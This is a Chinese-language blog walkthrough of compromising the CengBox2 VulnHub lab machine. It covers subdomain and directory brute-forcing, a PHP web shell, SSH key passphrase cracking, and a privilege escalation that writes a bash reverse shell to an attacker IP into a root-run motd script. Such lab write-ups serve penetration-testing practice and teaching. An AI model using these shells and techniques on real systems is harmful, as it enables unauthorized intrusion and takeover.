CengBox2-vulnhub渗透测试

前言

CengBox2靶机渗透

目标:拿到root权限

考点:

​ 修改hosts,子域名爆破

​ gobuster工具使用,字典wordlists,seclists使用

​ ssh私钥爆破,私钥赋权600,

渗透过程

​ 目标IP:192.168.1.134

​ nmap扫描端口

1
nmap -sS -A -Pn 192.168.1.134

image-20200610091229750

​ 访问21号端口,获得note.txt

1
2
3
4
5
6
Hey Kevin,
I just set up your panel and used default password. Please change them before any hack.

I try to move site to new domain which name is ceng-company.vm and also I created a new area for you.

Aaron

​ 根据提示修改/etc/hosts,使得IP地址能够指向ceng-company,vm

1
192.168.1.134	ceng-company.vm

​ 访问该地址,这里什么的都没有

image-20200610091914832

扫描子域名

1
gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --url http://ceng-company.vm

image-20200610095827570

​ 发现子域名admin.ceng-company.vm,然后修改hosts

image-20200610100713834

扫描目录

1
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  --url http://admin.ceng-company.vm

image-20200610101343840

​ 登陆后到后台admin后,kevin@ceng-company.vm:admin登陆到后台

​ 删除tmp目录下的 .htaccess,这个文件已经被我删了….但是记得这个文件会拒绝所有php文件的上传

​ 然后写入shell

1
2
3
4
5
<?php

exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.76/7777 0>&1'");

?>

​ 反弹shell

1
curl -v "http://admin.ceng-company.vm/gila/tmp/shell.php"

image-20200610104402719

​ 执行sudo -l,这里表明用户swartz可以在无须密码验证的情况下使用脚本/home/swartz/runphp.sh

image-20200610104615465

​ 查看runphp.sh,发现这是一个在swartz下运行php交互模式的脚本,运行该脚本

1
sudo -u swartz /home/swartz/runphp.sh

image-20200610111137576

​ 此时提权至swartz,到mitnick目录下会发现这里的mitnick用户是有ssh密钥的,将mitnick的私钥复制一份到本机上。

image-20200610111954356

1
cat id_rsa

image-20200610112756715

​ 使用john爆破ssh密码

1
2
python3 /usr/share/john/ssh2john.py test.rsa > test.hash
john --wordlist=/usr/share/wordlists/rockyou.txt test.hash

image-20200610113252378

image-20200610113423890

​ 爆破出密码为legend

​ 给test.rsa加权600,因为此时test.rsa的权限太高了

1
chmod 600 test.rsa

image-20200610113823494

​ 此时提权至mitnick

查看所属组就有rwx权限的文件,因为mitnick属于developers组

1
find / -type f -perm -g+rwx 2>/dev/null

image-20200610115205093

​ 关于00-header这个文件的作用是在进行ssh连接时,以root用户运行的脚本,一般用来使得ssh更为个性化。

​ 参考:https://cloud.tencent.com/developer/news/313453

image-20200610115500091

​ 如图可见,该文件属于为root用户所拥有,所属于developers组。

​ 修改该文件

image-20200610121936977

1
/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.76/3333 0>&1'

​ 然后重新ssh连接,监听3333端口

​ 此时提权至root

image-20200610121804574

后话

​ 这个靶机学习的地方有很多,所属组的理解,对于find命令的理解和熟练使用

​ 后半部分find / -type f -perm -g+rwx 2>/dev/null,该命令应该是提权过程中,很重要的一步。

​ 果然信息收集在渗透测试中属于最重要的部分。

Author: 我是小吴啦
Link: http://yoursite.com/2020/06/10/CengBox2-vulnhub%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.